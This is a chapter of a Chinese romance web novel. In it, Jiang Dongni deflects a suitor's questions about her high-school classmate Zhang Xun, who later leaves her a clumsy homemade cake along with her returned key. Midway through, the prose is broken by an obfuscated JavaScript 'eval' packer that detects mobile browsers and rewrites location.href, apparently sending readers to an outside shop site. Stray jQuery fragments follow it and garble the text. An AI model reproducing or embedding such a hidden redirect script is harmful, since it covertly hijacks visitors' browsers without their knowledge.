56. 怦怦(4)
作品:《今日几分熟》 蒋冬霓对等她的许景恺有些抱歉:“那个……要不上楼坐会?或者……你要不直接回去吧,不用送我了。”
许景恺看着蒋冬霓微微摇头,他温声道:“没事,还是送你到楼下吧。”
“……好。”
两个人并肩走着,许景恺迟疑地开口问:“刚才……”
“一个认识的人。”蒋冬霓说。
她这用词相当讲究,许景恺开玩笑道:“连朋友都不是?”
“……高中同学。”
“这么晚了,等你是有什么事情吗?”
蒋冬霓刚直言快语完,受不了现在反而还要和许景恺打太极,“嗯,但我让他以后别来了。”
“上回帮我们买单的,是他吗?那个姓张的朋友。”
蒋冬霓有些意外许景恺居然能够把这两件事联想到一起,许景恺看到她惊讶的表情,了然一笑:“因为刚才看你们两个似乎有矛盾的样子。”
蒋冬霓抿了抿嘴,承认:“……是。”
“我还以为你不会拿人做掩护。”
蒋冬霓听懂了又没太听懂。
“去年我来找你,正好在楼下碰到你的大学学长,你还记得吗?”
蒋冬霓当然记得,而且还记得那时候许景恺应该是发现她家不止她一个人,只是后面他没有提起,蒋冬霓自己后来掩耳盗铃,彼此心照不宣。
“现在再说虽然有点不好意思,但那时候……我有想过你会不会拿我当挡箭牌,比如说我是你男朋友,或者我们两个正在接触,电视剧里不都这样演的吗?”许景恺语气很轻松,“但你没有,所以我才意识到,我们两个之间应该是一点机会都没有了。”
说话间,他们已经走到了蒋冬霓家楼下,许景恺停下脚步,“但你刚才是故意的吧?”
他一言指出,却并不尖锐,蒋冬霓张了张嘴,但看着许景恺温和的眼睛,她再说不出辩驳的话。
许景恺朝蒋冬霓微微一笑,意思是让她不要介意,也不用放在心上,“对了,我还能再问个问题吗?”
蒋冬霓猜到许景恺想问什么,她视死如归般叹道:“你问吧。”
许景恺失笑:“当时我看到的那张超市的发票……和刚才等你的高中同学,是同一个人?”
“……去年他有点麻烦,所以在我那借住了一段时间。”蒋冬霓说。
“哦,这样。”许景恺明白了。
他这个时候才真的确定他一开始的想法并没有错,他觉得蒋冬霓是一个像白纸一样的女孩,实际上她的确也是,单纯率真,但她并不是真的空白,或者更准确地说,她有一张自己的画纸,有一只自己的画笔。
许景恺有点释然,“拿我当挡箭牌吧,我很荣幸。”
蒋冬霓反应过来后,被他逗笑,但随即就有点笑不出来了。她低头看着脚尖好一会儿,重新整理好心情,拂了拂身上的雪花,问许景恺:“你饿吗?”
许景恺有点没想到,毕竟他们刚刚吃完晚饭不久。
“上来吃个夜宵吧。”蒋冬霓邀请他。
一碗鲜虾云吞面,冬霓只吃了几个云吞,大部分分给许景恺。面条虽然份量不是很多,但正好适合两个刚吃饱饭的人。
许景恺问这碗面是谁做的,蒋冬霓说:“我朋友今天来我家拿东西,临走前给我留了一碗面,我想着我也吃不完,喊你上来帮我一下。”
她说完,看许景恺的表情就知道他想到了谁,撒谎道:“另一个朋友。”
许景恺不疑有他,即使有,蒋冬霓觉得任凭他再怎么敏锐,应该也猜不到那头去。
“你朋友厨艺挺好的,这个云吞像是他自己包的。”许景恺说。
蒋冬霓扯嘴角一笑,没说话。
天气预报虽然没有达到百分百的准确率,但吃完面,外头的雪也停了,许景恺和蒋冬霓道别离开,蒋冬霓叮嘱他路上小心,到了给她发个消息,许景恺点头。
雪积得不厚,但全是冰茬,许景恺小心地走在路上。这条路他来回接送过蒋冬霓许多次,也算是走过了一年四季的风景。
既是冬天,马上春天就要来了,他脑海中浮现去年初夏抱着一束花等公交车的女孩。淡淡地笑了笑,不禁开始计划来年送蒋冬霓什么花好。
走到小区门口,隔着几米远他解锁了车,与此同时发现刚才那辆黑车重新停回了原位。
许景恺脚步慢了一下。
他清楚地记得,在蒋冬霓过去和对方不知道说了什么后,这辆车是开走了的。
一时间,许景恺想到了刚才的那碗面,想到了一年多前那张超市的发票和在超市里擦身而过的那个男人。
异性合租是很普遍正常的事情,如果没有那时刻意的隐瞒和今晚奇怪的发展,但许景恺也相信蒋冬霓和他说的话。
许景恺上车后,就是和对面的车面对面,后者车内虽然暗着,但没有熄火,像一头黑夜里蛰伏的野兽。
许景恺拿起手机,电话接通后,蒋冬霓问他:“你这就到家了?”
“没,我刚上车。”许景恺说,然后告诉她,“你那个高中同学的车还停在小区门口。”
于是对面陷入了沉默,良久,许景恺听蒋冬霓淡淡“哦”了一声,表示她知道了。
“没事吧,要不要我回来?”
“没事,你回家吧。”蒋冬霓说。
许景恺顿了顿,和她确认:“确定吗?”
“嗯。”
“好,有事给我打电话。”
“嗯,不会有事,放心吧。”
关掉手机,许景恺扭转方向盘,车开出去一段距离后,他从后视镜里看到那辆车还停在原地,一动未动。
接到许景恺的电话前,蒋冬霓正在剥橘子吃,挂掉电话后,手里的橘子于她变成了占卜的道具:张旬会来、张旬不会来。
她想他这是聪明了还是退步了,倒是知道等在车里暖和点了。
最后占卜的结果是张旬不会来,那晚蒋冬霓入睡前,他也的确没来。
蒋冬霓还没敢掉以轻心,这段时间把她折磨得都有了生物钟,隔天一早就醒来,不过没等到张旬后,她安心地睡了一个大大的回笼觉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14194939|150776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之后的几天,张旬都没再出现。
他出现得很强横,真要消失,也挺干脆。
蒋冬霓过回了自己的冬眠生活,某天开门拿快递时,才看到门把手上挂了一个蛋糕盒子,仔细一看,袋子是乐乐烘焙的,不过门口角落里没有等着一个人。
她把蛋糕取下来,听到楼下王奶奶喊她:“小蒋?”
“诶。”蒋冬霓应道。
往楼下探头一看,王奶奶手里提着垃圾袋估计正准备去扔。
“没什么事。”王奶奶说,“就是刚才小张有过来,给我送了点东西,我不要,他硬要给,说是接下来有事要忙应该有一阵不能来了,然后我看他在你家门口也放了东西?”
“……嗯,我看到了。”蒋冬霓说。
“他也刚走不久,我没什么别的意思,就是我看他等你等了也挺久的,以为你不在家呢,所以和你说一声。”
“好的,谢谢奶奶。”
进了屋,打开袋子取出蛋糕,盒子底部压着一把钥匙和一张门禁卡。
蒋冬霓本来就不喜欢吃蛋糕,现在更不想吃,但珍惜粮食的她选择先把蛋糕放进冰箱里。
晚上睡了一觉白天醒来她就忘记了这个蛋糕的存在,中午随便吃了点面包饼干,准备做晚饭的时候打开冰箱才想起来。
真占空间,得吃掉。
拆开蛋糕包装盒仔细一看,蒋冬霓才发现不对劲。这个蛋糕看起来一点也不像严叔廖姨的手艺,虽然整体上还可以,但抹面没有抹得完全平整,有明显可见的粗糙痕迹,特别是蛋糕上的图案,画了一只方嘴巴笑眯眯的小鳄鱼。
妈呀,画得可真丑。
线条扭曲、形神俱灭。
所以原来张旬虽然厨艺不错,还会做一些甜点,但碰上硬功夫的话也会见拙。
她姑且当这个蛋糕是他本人亲手做的,但不可能是他到面包店里做的吧,所以难道他是特意用乐乐烘焙的包装袋子?
那可真是煞费苦心了。
可是张旬应该知道她不嗜甜,喜欢吃蛋糕的人是他,他不会是留着想自己吃的吧?不过但凡他真的在,蒋冬霓还真会让他负责吃干净。
说什么等了很久……明明有她家的钥匙和门卡,这个时候倒是终于舍得还给她了。
蛋糕不大,换成爱吃的可能一个人就能吃完,但蒋冬霓得慢慢吃,她把蛋糕平均分成了两份。
有一个说法是隔夜的蛋糕会更好吃,因为有更充足的时间让蛋糕进行化学反应,口感融合更加丰富。
蒋冬霓没尝到这份蛋糕刚制作完成时的味道,但味道的确不错,比卖相略强一点,她以为手头这半份她也吃不完的,但不知不觉间一口一口地也吃掉了。
剩下那半份蛋糕,蒋冬霓重新放进冰箱里冷藏。
到了第三天,她取出来只吃了一点就不想吃了,继续冷藏,第四天,估计是不能吃了,刮了点奶油尝了尝,好像还没变质,于是又放了一天,第五天,张旬还没有来,蒋冬霓没再以身试验蛋糕是否还能吃,她把剩下的这蛋糕扔进了垃圾桶里。